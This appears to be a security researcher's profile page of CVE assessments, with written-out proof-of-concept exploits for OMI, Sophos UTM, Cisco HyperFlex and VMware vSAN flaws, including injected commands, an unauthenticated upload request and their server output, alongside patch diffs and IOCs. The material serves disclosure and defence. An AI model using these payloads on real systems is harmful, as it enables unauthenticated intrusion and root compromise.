wvu-r7 (411)
Last Login: October 20, 2021
Assessments
114
Score
411
2nd Place
wvu-r7's Contributions (139)
Sort by:
Filter by:
3
1
1
Technical Analysis
RCE PoC using ExecuteScript (multi-line shell script execution):
wvu@kharak:~/Downloads$ curl -vs http://127.0.0.1:5985/wsman -H "Content-Type: application/soap+xml" -d @payload.xml | xmllint --format -
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 5985 (#0)
> POST /wsman HTTP/1.1
> Host: 127.0.0.1:5985
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Type: application/soap+xml
> Content-Length: 1679
> Expect: 100-continue
>
* Done waiting for 100-continue
} [1679 bytes data]
* We are completely uploaded and fine
< HTTP/1.1 200 OK
< Content-Length: 1393
< Connection: Keep-Alive
< Content-Type: application/soap+xml;charset=UTF-8
<
{ [1393 bytes data]
* Connection #0 to host 127.0.0.1 left intact
* Closing connection 0
<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:wsen="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:e="http://schemas.xmlsoap.org/ws/2004/08/eventing" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:wsmb="http://schemas.dmtf.org/wbem/wsman/1/cimbinding.xsd" xmlns:wsman="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:wxf="http://schemas.xmlsoap.org/ws/2004/09/transfer" xmlns:cim="http://schemas.dmtf.org/wbem/wscim/1/common" xmlns:msftwinrm="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd" xmlns:wsmid="http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd">
<SOAP-ENV:Header>
<wsa:To>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</wsa:To>
<wsa:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteScript</wsa:Action>
<wsa:MessageID>uuid:19754ED3-CC01-0005-0000-000000010000</wsa:MessageID>
<wsa:RelatesTo>uuid:00B60932-CC01-0005-0000-000000010000</wsa:RelatesTo>
</SOAP-ENV:Header>
<SOAP-ENV:Body>
<p:SCX_OperatingSystem_OUTPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
<p:ReturnValue>TRUE</p:ReturnValue>
<p:ReturnCode>0</p:ReturnCode>
<p:StdOut>
Hello
Goodbye
</p:StdOut>
<p:StdErr/>
</p:SCX_OperatingSystem_OUTPUT>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
wvu@kharak:~/Downloads$
payload.xml:
<?xml version="1.0"?> <s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:n="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema" xmlns:h="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd"> <s:Header> <a:To>HTTP://127.0.0.1:5985/wsman/</a:To> <w:ResourceURI s:mustUnderstand="true">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem</w:ResourceURI> <a:ReplyTo> <a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address> </a:ReplyTo> <a:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteScript</a:Action> <w:MaxEnvelopeSize s:mustUnderstand="true">102400</w:MaxEnvelopeSize> <a:MessageID>uuid:00B60932-CC01-0005-0000-000000010000</a:MessageID> <w:OperationTimeout>PT1M30S</w:OperationTimeout> <w:Locale xml:lang="en-us" s:mustUnderstand="false"/> <p:DataLocale xml:lang="en-us" s:mustUnderstand="false"/> <w:OptionSet s:mustUnderstand="true"/> <w:SelectorSet> <w:Selector Name="__cimnamespace">root/scx</w:Selector> </w:SelectorSet> </s:Header> <s:Body> <p:ExecuteScript_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem"> <p:Script>ZWNobyAiIg0KZWNobyAiSGVsbG8iDQplY2hvICJHb29kYnllIg==</p:Script> <p:Arguments/> <p:timeout>0</p:timeout> <p:b64encoded>true</p:b64encoded> </p:ExecuteScript_INPUT> </s:Body> </s:Envelope>
1
Technical Analysis
Super easy to exploit. See CVE-2021-20021 for the first part of the chain.
3
Technical Analysis
Please see the Rapid7 analysis. Thank you to Jang (@testanull) for being a great collaborator. :)
3
Technical Analysis
Please see the Atredis writeup for root cause analysis.
CVE-2020-25223 has high attacker value and exploitability, since Sophos UTM is a next-generation firewall (NGFW), and the vulnerability offers unauthenticated attackers root access to a “network pivot” device, all through a single HTTP request, demonstrated below:
wvu@kharak:~$ curl -kv https://172.16.57.254:4444/var -H "Content-Type: application/json; charset=UTF-8" -d '{"SID":"|touch /tmp/vulnerable|"}'
* Trying 172.16.57.254...
* TCP_NODELAY set
* Connected to 172.16.57.254 (172.16.57.254) port 4444 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* successfully set certificate verify locations:
* CAfile: /etc/ssl/cert.pem
CApath: none
* TLSv1.2 (OUT), TLS handshake, Client hello (1):
* TLSv1.2 (IN), TLS handshake, Server hello (2):
* TLSv1.2 (IN), TLS handshake, Certificate (11):
* TLSv1.2 (IN), TLS handshake, Server key exchange (12):
* TLSv1.2 (IN), TLS handshake, Server finished (14):
* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
* TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (OUT), TLS handshake, Finished (20):
* TLSv1.2 (IN), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (IN), TLS handshake, Finished (20):
* SSL connection using TLSv1.2 / ECDHE-RSA-AES256-GCM-SHA384
* ALPN, server accepted to use http/1.1
* Server certificate:
* subject: C=de; ST=Baden-Wuerttemberg; L=Karlsruhe; O=Sophos; CN=host.domain.example; emailAddress=firewall@domain.example
* start date: Feb 24 14:46:04 2015 GMT
* expire date: Jan 24 14:46:04 2017 GMT
* issuer: C=de; ST=Baden-Wuerttemberg; L=Karlsruhe; O=Sophos; CN=Sophos Default CA; emailAddress=firewall@domain.example
* SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.
> POST /var HTTP/1.1
> Host: 172.16.57.254:4444
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Type: application/json; charset=UTF-8
> Content-Length: 33
>
* upload completely sent off: 33 out of 33 bytes
< HTTP/1.1 200 OK
< Date: Thu, 26 Aug 2021 04:17:09 GMT
< Server: Apache
< Expires: Thursday, 01-Jan-1970 00:00:01 GMT
< Pragma: no-cache
< X-Frame-Options: SAMEORIGIN
< Strict-Transport-Security: max-age=63072000; includeSubDomains;
< X-Content-Type-Options: nosniff
< X-XSS-Protection: 1; mode=block
< Content-Security-Policy: default-src 'self'; img-src 'self' data:; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; connect-src 'self' wss:;
< X-Content-Security-Policy: default-src 'self'; img-src 'self' data:; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; connect-src 'self' wss:;
< X-Webkit-CSP: default-src 'self'; img-src 'self' data:; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; connect-src 'self' wss:;
< Vary: Accept-Encoding
< Transfer-Encoding: chunked
< Content-Type: application/json; charset=utf-8
<
* Connection #0 to host 172.16.57.254 left intact
{"RID":"","objs":[{"js":"json_abort(true);"},{"alert":"Backend connection failed, please click Shift-Reload to try again."}]}* Closing connection 0
wvu@kharak:~$
host:/root # ls -l /tmp/vulnerable -rw-r--r-- 1 root root 0 Aug 25 23:17 /tmp/vulnerable host:/root #
Checking for the vulnerability can be accomplished by injecting a sleep command and timing the request’s completion:
wvu@kharak:~$ time curl -kv https://172.16.57.254:4444/var -H "Content-Type: application/json; charset=UTF-8" -d '{"SID":"|sleep 10|"}'
* Trying 172.16.57.254...
* TCP_NODELAY set
* Connected to 172.16.57.254 (172.16.57.254) port 4444 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* successfully set certificate verify locations:
* CAfile: /etc/ssl/cert.pem
CApath: none
* TLSv1.2 (OUT), TLS handshake, Client hello (1):
* TLSv1.2 (IN), TLS handshake, Server hello (2):
* TLSv1.2 (IN), TLS handshake, Certificate (11):
* TLSv1.2 (IN), TLS handshake, Server key exchange (12):
* TLSv1.2 (IN), TLS handshake, Server finished (14):
* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
* TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (OUT), TLS handshake, Finished (20):
* TLSv1.2 (IN), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (IN), TLS handshake, Finished (20):
* SSL connection using TLSv1.2 / ECDHE-RSA-AES256-GCM-SHA384
* ALPN, server accepted to use http/1.1
* Server certificate:
* subject: C=de; ST=Baden-Wuerttemberg; L=Karlsruhe; O=Sophos; CN=host.domain.example; emailAddress=firewall@domain.example
* start date: Feb 24 14:46:04 2015 GMT
* expire date: Jan 24 14:46:04 2017 GMT
* issuer: C=de; ST=Baden-Wuerttemberg; L=Karlsruhe; O=Sophos; CN=Sophos Default CA; emailAddress=firewall@domain.example
* SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.
> POST /var HTTP/1.1
> Host: 172.16.57.254:4444
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Type: application/json; charset=UTF-8
> Content-Length: 20
>
* upload completely sent off: 20 out of 20 bytes
< HTTP/1.1 200 OK
< Date: Thu, 26 Aug 2021 15:47:17 GMT
< Server: Apache
< Expires: Thursday, 01-Jan-1970 00:00:01 GMT
< Pragma: no-cache
< X-Frame-Options: SAMEORIGIN
< Strict-Transport-Security: max-age=63072000; includeSubDomains;
< X-Content-Type-Options: nosniff
< X-XSS-Protection: 1; mode=block
< Content-Security-Policy: default-src 'self'; img-src 'self' data:; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; connect-src 'self' wss:;
< X-Content-Security-Policy: default-src 'self'; img-src 'self' data:; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; connect-src 'self' wss:;
< X-Webkit-CSP: default-src 'self'; img-src 'self' data:; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; connect-src 'self' wss:;
< Vary: Accept-Encoding
< Transfer-Encoding: chunked
< Content-Type: application/json; charset=utf-8
<
* Connection #0 to host 172.16.57.254 left intact
{"RID":"","objs":[{"js":"json_abort(true);"},{"alert":"Backend connection failed, please click Shift-Reload to try again."}]}* Closing connection 0
real 0m10.114s
user 0m0.020s
sys 0m0.018s
wvu@kharak:~$
3
Technical Analysis
CVE-2021-33909 has high attacker value because it is root privilege escalation in core functionality of the Linux kernel itself. Exploitability is a little lower, since it involves kernel memory corruption with particular requirements, but Qualys has indicated successful exploitation of several Linux distributions and versions, noting that distributions they haven’t tested may be equally exploitable out of the box. Mitigations do exist but do not fix the root cause. You’ll want to patch this one before a full exploit drops. (A crash PoC has already been released.)
1
Technical Analysis
(Edited for clarity only.)
Update: Paolo Stagno (VoidSec) has analyzed this vulnerability and posited that it is not exploitable beyond DoS. I agree with their analysis and have updated my ratings as a result. My pre-analysis assessment is preserved below. More details to come! Please see VoidSec’s assessment. :)
Local privilege escalation in an ancient yet widely distributed printer driver for Windows. Mis-bounded strncpy() buffer overflow in kernel space, so exploitation requires skill and precision to pull off, though the vulnerability itself is incredibly straightforward. Could be a reliable root for years to come. Patch this normally and don’t freak out.
2
Technical Analysis
I looked at the patch briefly and confirmed this appears to be unauthenticated remote code execution, specifically of the memory corruption variety, in the SSH (SFTP) service that’s available to Serv-U. Note that services are opt-in for this product, so SSH would need to be enabled for this bug to be exploitable. However, since this vulnerability is being exploited in the wild (albeit in targeted attacks), you’ll absolutely want to patch it, particularly for a product that is likely to be exposed to the Internet.
1
3
Technical Analysis
Docked exploitability a point because a valid bean and method must be known. See the Rapid7 analysis for more context.
ETA: Cat’s out of the bag. JNDI injection PoC. I’ve confirmed it works. Here are all the beans you can use for this:
vsanCapabilityUtils_setVsanCapabilityCacheManager vsanFormatUtils_setUserSessionService vsanProviderUtils_setVmodlHelper vsanProviderUtils_setVsanServiceFactory vsanQueryUtil_setDataService vsanUtils_setMessageBundle vsphereHealthProviderUtils_setVsphereHealthServiceFactory
For reference, here are all the registered beans in my environment:
advancedOptionsService capabilityPropertyProviderImpl ceipService clusterDpConfigService cnManager computeInventoryService configureClusterService configureStretchedClusterService configureVsanClusterMutationProviderImpl connectionRetention dataAccessController dataService dataServiceExtensionRegistry datacenterInventoryService diskGroupMutationService diskManagementService dpClient dpFactory encryptionMutationProvider encryptionPropertyProvider execFactory execSettings guardRailPropertyProviderAdapter hciClusterService healthCheckDelay healthCheckTimeout legacyVsanObjectVersionProviderImpl localizedMessageBundle lookupSvcClient lsFactory lsLocator multiVmRestoreBacking mvcContentNegotiationManager mvcCorsConfigurations mvcHandlerMappingIntrospector mvcUriComponentsContributor networkInventoryService networkIpConfigProvider obfuscationController obfuscationService objectReferenceService org.eclipse.gemini.blueprint.service.exporter.support.OsgiServiceFactoryBean#0 org.eclipse.gemini.blueprint.service.exporter.support.OsgiServiceFactoryBean#1 org.eclipse.gemini.blueprint.service.exporter.support.OsgiServiceFactoryBean#2 org.springframework.context.annotation.internalAsyncAnnotationProcessor org.springframework.context.annotation.internalAutowiredAnnotationProcessor org.springframework.context.annotation.internalCommonAnnotationProcessor org.springframework.context.annotation.internalConfigurationAnnotationProcessor org.springframework.context.annotation.internalPersistenceAnnotationProcessor org.springframework.context.annotation.internalRequiredAnnotationProcessor org.springframework.context.annotation.internalScheduledAnnotationProcessor org.springframework.context.event.internalEventListenerFactory org.springframework.context.event.internalEventListenerProcessor org.springframework.format.support.FormattingConversionServiceFactoryBean#0 org.springframework.web.servlet.handler.BeanNameUrlHandlerMapping org.springframework.web.servlet.handler.MappedInterceptor#0 org.springframework.web.servlet.mvc.HttpRequestHandlerAdapter org.springframework.web.servlet.mvc.SimpleControllerHandlerAdapter org.springframework.web.servlet.mvc.annotation.ResponseStatusExceptionResolver#0 org.springframework.web.servlet.mvc.method.annotation.ExceptionHandlerExceptionResolver#0 org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping org.springframework.web.servlet.mvc.support.DefaultHandlerExceptionResolver#0 org.springframework.web.servlet.view.ContentNegotiatingViewResolver#0 pbmClient pbmDataProviderImpl pbmFactory permissionService physicalDisksService proactiveTestsService promoteActionController proxygenController purgeInaccessibleVmSwapObjectsProvider restoreWorkflowBacking sessionScheduler singleVmRestoreBacking ssoFactory taskService updateDbService userSessionService vcClient vcFactory vcPropertiesFacade virtualObjectsDataProtectionController virtualObjectsService vlsiSettingsTemplate vmConsistencyGroupPropertyProvider vmDataProtectionPropertyProviderAdapter vmDataProtectionSummaryController vmDataProtectionSyncPointsController vmDiskPlacementProvider vmFolderInventorySerivce vmInventoryService vmodlContext vmodlHelper vsanCapabilityCacheManager vsanCapabilityUtils_setVsanCapabilityCacheManager vsanClusterPropertyProviderAdapter vsanClusterPropertyProviderAdapterImpl vsanComponentsProviderImpl vsanConfigPropertyProviderAdapter vsanConfigPropertyProviderAdapterImpl vsanConfigService vsanDiskMappingsProvider vsanDpInventoryHelper vsanDpServicePitProvider vsanExecutor vsanFolderPropertyProviderAdapter vsanFolderPropertyProviderAdapterImpl vsanFormatUtils_setUserSessionService vsanHealthProviderImpl vsanHealthServiceMutationProviderImpl vsanHostPropertyProviderAdapter vsanIscsiInitiatorGroupMutationProviderImpl vsanIscsiInitiatorGroupPropertyProviderImpl vsanIscsiMutationProviderImpl vsanIscsiPropertyProviderImpl vsanIscsiTargetDataAdapter vsanIscsiTargetDataAdapterImpl vsanIscsiTargetMutationProviderImpl vsanIscsiTargetPropertyProviderImpl vsanMutationProviderImpl vsanObjectSystemProvider vsanPerfDiagnosticProviderImpl vsanPerfMutationProviderImpl vsanPerfProviderImpl vsanPropertyProviderImpl vsanProviderUtils_setVmodlHelper vsanProviderUtils_setVsanServiceFactory vsanQueryUtil_setDataService vsanResyncingComponentsProvider vsanResyncingComponentsRetriever vsanResyncingIscsiTargetComponentsProvider vsanServiceBundleActivator vsanServiceFactory vsanStretchedClusterMutationProviderImpl vsanStretchedClusterPropertyProviderImpl vsanSupportMutationProviderImpl vsanSupportProviderImpl vsanThreadPoolImpl vsanUpgradeMutationProviderImpl vsanUpgradePropertyProviderAdapter vsanUpgradeProviderImpl vsanUtils_setMessageBundle vsanVirtualDisksDataProvider vsanVirtualObjectsProvider vsanWorkerThreadFactory vsphereHealthProviderUtils_setVsphereHealthServiceFactory vsphereHealthServiceFactory vsphereHealthThreadPoolImpl vumLoginService vumPropertyProviderAdapter whatIfPropertyProviderAdapter whatIfPropertyProviderImpl witnessCandidateInventoryService witnessHostsProvider
Note that methodInput is still limited somewhat limited by what ProxygenSerializer can deserialize, so the JNDI injection via static method is good for arbitrary method invocation, callback notwithstanding. Jang (@testanull) points out that TypeConverter can be leveraged to work around this issue. Jang’s writeup is here.
Update: A new RCE chain writeup involving SSRF has been published [by the original researcher].
3
Technical Analysis
CVE-2021-1499
Arbitrary file upload (RCE implied) in the /upload endpoint.
Patch
--- unpatched/springpath.conf 2021-05-17 19:06:17.000000000 -0500 +++ patched/springpath.conf 2021-05-17 19:06:23.000000000 -0500 @@ -36,14 +36,7 @@ include uwsgi_params; } - location /crossdomain.xml - { - auth_basic off; - proxy_pass http://localhost:8000; - allow all; # Allow all to see content - } - - location / { + location = / { return 301 https://$host$request_uri; } @@ -80,12 +73,6 @@ ### Max upload file size client_max_body_size 8000m; - location /upload { - auth_basic off; - allow all; - proxy_pass http://localhost:8000; - } - # similar to storfs-support but with NO auth location ~ ^/(storfs-asup) { @@ -188,13 +175,6 @@ include uwsgi_params; } - location ~ ^/(crossdomain\.xml) - { - auth_basic off; - proxy_pass http://localhost:8000; - allow all; # Allow all to see content - } - # route all traffic that needs authentication to stMgr location ~ ^/(stmgr) {
Vulnerability
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { this.isMultipart = ServletFileUpload.isMultipartContent(request); response.setContentType("application/json"); PrintWriter out = response.getWriter(); if (!this.isMultipart) { out.println("{\"result\": \"Invalid content-type.\"}"); logger.error("{\"result\": \"Invalid content-type. Must be multi-part\"}"); response.setStatus(400); return; } ServletFileUpload upload = new ServletFileUpload(); upload.setSizeMax(this.maxFileSize); FileOutputStream fout = null; InputStream stream = null; try { FileItemIterator iter = upload.getItemIterator(request); while (iter.hasNext()) { try { FileItemStream fi = iter.next(); stream = fi.openStream(); String uploadedFileName = this.dirPath + "/" + fi.getName(); File uploadedFile = new File(uploadedFileName); fout = new FileOutputStream(uploadedFile); byte[] buffer = new byte[1024]; int len; while ((len = stream.read(buffer, 0, buffer.length)) != -1) fout.write(buffer, 0, len); out.println("{\"result\": \"filename: " + uploadedFileName + "\"}"); logger.debug("{\"result\": \"filename: " + uploadedFileName + "\"}"); } catch (org.apache.commons.fileupload.MultipartStream.MalformedStreamException ex) { logger.info("MalformedStreamException during file upload servlet stream processing: " + ex); } finally { if (fout != null) { logger.info("Closing fout"); fout.close(); } if (stream != null) { logger.info("Closing stream"); stream.close(); } } } } catch (Exception ex) { out.println("{\"result\": \"Upload failed: " + ex.getMessage() + "\"}"); logger.error("{\"result\": \"Upload failed: " + ex.getMessage() + "\"}"); logger.error("Exception during file upload servlet stream processing: " + ex); response.setStatus(500); } }
PoC
wvu@kharak:~$ curl -v http://192.168.123.133/upload -F x=@/dev/null
* Trying 192.168.123.133...
* TCP_NODELAY set
* Connected to 192.168.123.133 (192.168.123.133) port 80 (#0)
> POST /upload HTTP/1.1
> Host: 192.168.123.133
> User-Agent: curl/7.64.1
> Accept: */*
> Transfer-Encoding: chunked
> Content-Type: multipart/form-data; boundary=------------------------1b9a7fe625152b78
> Expect: 100-continue
>
< HTTP/1.1 100 Continue
* Signaling end of chunked upload via terminating chunk.
< HTTP/1.1 200 OK
< Server: nginx/1.8.1
< Date: Tue, 18 May 2021 01:10:59 GMT
< Content-Type: application/json;charset=ISO-8859-1
< Content-Length: 56
< Connection: keep-alive
< Content-Security-Policy: default-src 'self'; script-src 'self' 'sha256-NqIRKoqKg0DGa/4ZvALvdLDeCWjHxRJAGWG9bR7oqhg='; img-src 'self'; style-src 'self' 'sha256-+iKfdo1l+xjgkzhMgz1wtLzCQP0aDTXicQujdoPsGrM='; font-src 'self' 'sha256-+iKfdo1l+xjgkzhMgz1wtLzCQP0aDTXicQujdoPsGrM='; frame-src 'self'; frame-ancestors 'self'; object-src 'none'; connect-src 'self'
< X-Content-Type-Options: nosniff
< X-XSS-Protection: 1; mode=block
<
{"result": "filename: /var/www/localhost/images//null"}
* Connection #0 to host 192.168.123.133 left intact
* Closing connection 0
wvu@kharak:~$
root@HyperFlex-Installer-4.0.2d:~# ls -l /var/www/localhost/images/null -rw-r--r-- 1 tomcat7 tomcat7 0 May 17 18:10 /var/www/localhost/images/null root@HyperFlex-Installer-4.0.2d:~#
IOCs
==> /var/log/nginx/access.log <==
192.168.123.1 - - [17/May/2021:18:10:59 -0700] "POST /upload HTTP/1.1" 200 81 "-" "curl/7.64.1"
==> /var/log/springpath/stBootstrapGuiBackend.log <==
2021-05-18-01:10:59.568 [tomcat-http-2] DEBUG c.s.sysmgmt.service.StorvisorFileUploader.doPost():74 - {"result": "filename: /var/www/localhost/images//null"}
2021-05-18-01:10:59.568 [tomcat-http-2] INFO c.s.sysmgmt.service.StorvisorFileUploader.doPost():81 - Closing fout
2021-05-18-01:10:59.568 [tomcat-http-2] INFO c.s.sysmgmt.service.StorvisorFileUploader.doPost():85 - Closing stream
==> /var/log/tomcat7/catalina.out <==
2021-05-18-01:10:59.568 DEBUG com.storvisor.sysmgmt.service.StorvisorFileUploader:74 - {"result": "filename: /var/www/localhost/images//null"}
2021-05-18-01:10:59.568 INFO com.storvisor.sysmgmt.service.StorvisorFileUploader:81 - Closing fout
2021-05-18-01:10:59.568 INFO com.storvisor.sysmgmt.service.StorvisorFileUploader:85 - Closing stream
==> /var/log/tomcat7/localhost_access_log.2021-05-17.txt <==
127.0.0.1 - - [17/May/2021:18:10:59 -0700] "POST /upload HTTP/1.0" 200 56
1
2
Technical Analysis
CVE-2021-1497/CVE-2021-1498
Command injection in the /storfs-asup endpoint’s token and mode parameters.
Patch
--- unpatched/web.xml 2021-05-17 19:06:17.000000000 -0500 +++ patched/web.xml 2021-05-17 19:06:23.000000000 -0500 @@ -69,17 +69,6 @@ </servlet-mapping> <servlet> - <servlet-name>Springpath Storfs ASUP</servlet-name> - <servlet-class>com.storvisor.sysmgmt.service.StorfsAsup</servlet-class> - <load-on-startup>1</load-on-startup> - </servlet> - - <servlet-mapping> - <servlet-name>Springpath Storfs ASUP</servlet-name> - <url-pattern>/storfs-asup/*</url-pattern> - </servlet-mapping> - - <servlet> <servlet-name>Springpath Upgrade Image Upload Service</servlet-name> <servlet-class>com.storvisor.sysmgmt.service.StorvisorFileUploader</servlet-class> </servlet>
Vulnerability
protected void processRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String action = request.getParameter("action"); if (action == null) { String msg = "Action for the servlet need be specified."; writeErrorResponse(response, msg); return; } try { String token = request.getParameter("token"); StringBuilder cmd = new StringBuilder(); cmd.append("exec /bin/storfs-asup "); cmd.append(token); String mode = request.getParameter("mode"); cmd.append(" "); cmd.append(mode); cmd.append(" > /dev/null"); logger.info("storfs-asup cmd to run : " + cmd); ProcessBuilder pb = new ProcessBuilder(new String[] { "/bin/bash", "-c", cmd.toString() }); logger.info("Starting the storfs-asup now: "); long startTime = System.currentTimeMillis(); Process p = pb.start(); InputStream errStream = p.getErrorStream(); String errMsg = FileUtils.readToString(errStream); int exitCode = p.waitFor(); long timeTaken = System.currentTimeMillis() - startTime; logger.info("storfs-asup command completed in (" + timeTaken + " ) milliseconds, with exit code (" + exitCode + ") and error message: " + errMsg); errStream.close(); OutputStream outStream = p.getOutputStream(); outStream.flush(); outStream.close(); if (exitCode != 0) throw new Exception(errMsg); } catch (IOException ex) { logger.error("Failed to generate asup: " + ex); } catch (Exception ie) { logger.error("Failed to run the /bin/storfs-asup command."); } finally { logger.info("Done executing asup command. "); } }
tomcat7@HyperFlex-Installer-4:~$ sudo -l
Matching Defaults entries for tomcat7 on HyperFlex-Installer-4:
!lecture, tty_tickets, !fqdn
User tomcat7 may run the following commands on HyperFlex-Installer-4:
(ALL) NOPASSWD: /opt/springpath/storfs-support/support.py
(ALL) NOPASSWD: /opt/springpath/storfs-asup/generate_asup.sh
(ALL) NOPASSWD: /opt/springpath/storfs-asup/generate_sch.sh
tomcat7@HyperFlex-Installer-4:~$ sudo /opt/springpath/storfs-support/support.py --help
Usage: support.py [options]
Options:
-h, --help show this help message and exit
-t TARGET, --target=TARGET
Target directory where the support bundle should go
(XXX: This could be a remote host(dir), ex:
hostname:/foo). Optional. Default = /tmp
-i INSTALLDIR, --installdir=INSTALLDIR
Install directory for storfs. Optional.
-k ZKDIR, --zkdir=ZKDIR
zookeeper directory for storfs. Optional
-l LOGDIR, --logdir=LOGDIR
log directory for storfs. Optional
--asupdir=ASUPDIR asup directory for storfs. Optional
-c COREDIR, --coredir=COREDIR
core directory for storfs. Optional
-m MANIFESTDIR, --manifestdir=MANIFESTDIR
Manifest directory for storfs support. All files with
.mfx extension in this directory will be processed.
Optional
--list List the manifests. Optional
-f MANIFESTFILES, --manifest-file=MANIFESTFILES
Manifest file to use for generating support. Multiple
manifest files can be specified. Manifests files are
required to have .mfx suffix. Optional (Cannot be with
-m option)
-e TOOLSEXEDIR, --toolsexedir=TOOLSEXEDIR
log directory for storfs binary files. Optional
--hypervdir=HYPERVDIR
log directory for hyperv binary files. Optional
-o TOOLSDIR, --toolsdir=TOOLSDIR
Path for storfs tools. Optional
-r RUNTIMEDIR, --runtimedir=RUNTIMEDIR
Path for runtime dir (which contains
storfs_running_process.pid files). Optional
-b BUILDTYPE, --buildtype=BUILDTYPE
Build type that was running. Optional. Default = debug
-a ADDITIONAL_FILES, --additional-files=ADDITIONAL_FILES
any additional files/directories (not in manifest)
that should be added to the support bundle. Optional.
--dry-run Process manifests to make sure that there are no
errors
tomcat7@HyperFlex-Installer-4:~$ ls /opt/springpath/storfs-support/*.mfx
/opt/springpath/storfs-support/springpath-basic.mfx /opt/springpath/storfs-support/springpath-zookeeper-no-db.mfx
/opt/springpath/storfs-support/springpath.mfx /opt/springpath/storfs-support/springpath-logs.mfx
/opt/springpath/storfs-support/springpath-default-os.mfx /opt/springpath/storfs-support/springpath-extended.mfx
/opt/springpath/storfs-support/springpath-default-asup.mfx /opt/springpath/storfs-support/deployment.mfx
/opt/springpath/storfs-support/springpath-mgmt.mfx /opt/springpath/storfs-support/springpath-witness.mfx
/opt/springpath/storfs-support/springpath-default-asup-cli-esx.mfx /opt/springpath/storfs-support/springpath-default-asup-hyperv.mfx
/opt/springpath/storfs-support/springpath-zookeeper.mfx /opt/springpath/storfs-support/springpath-default-asup-esx.mfx
/opt/springpath/storfs-support/springpath-default-event-asup.mfx /opt/springpath/storfs-support/springpath-perf.mfx
/opt/springpath/storfs-support/springpath-default-asup-cli-hyperv.mfx /opt/springpath/storfs-support/springpath-exhaustive.mfx
tomcat7@HyperFlex-Installer-4:~$ head /opt/springpath/storfs-support/springpath-basic.mfx
# Springpath manifest file. Contains just basic logs.
# Simplified from springpath-mgmt.mfx
["copy", "TIMEOUT_NONE", "IGNORE_ERROR", "/var/jail/var/log/springpath"]
["copy", "TIMEOUT_NONE", "IGNORE_ERROR", "/etc/iptables_node_cluster.rules"]
["exec", "TIMEOUT_NONE", "IGNORE_ERROR", "iptables --list -n -v"]
["exec", "TIMEOUT_NONE", "IGNORE_ERROR", "bom-check.sh"]
["exec", "TIMEOUT=120", "IGNORE_ERROR", "mstcli cluster diag"]
["exec", "TIMEOUT=45", "IGNORE_ERROR", "mstcli cluster info"]
["exec", "TIMEOUT=45", "IGNORE_ERROR", "mstcli appliance list"]
["exec", "TIMEOUT=45", "IGNORE_ERROR", "mstcli datastore list"]
tomcat7@HyperFlex-Installer-4:~$
PoC
wvu@kharak:~$ curl -v http://192.168.123.133/storfs-asup -d 'action=&token=`id`&mode=`id`' * Trying 192.168.123.133... * TCP_NODELAY set * Connected to 192.168.123.133 (192.168.123.133) port 80 (#0) > POST /storfs-asup HTTP/1.1 > Host: 192.168.123.133 > User-Agent: curl/7.64.1 > Accept: */* > Content-Length: 28 > Content-Type: application/x-www-form-urlencoded > * upload completely sent off: 28 out of 28 bytes < HTTP/1.1 200 OK < Server: nginx/1.8.1 < Date: Tue, 18 May 2021 00:54:26 GMT < Content-Length: 0 < Connection: keep-alive < Front-End-Https: on < * Connection #0 to host 192.168.123.133 left intact * Closing connection 0 wvu@kharak:~$
IOCs
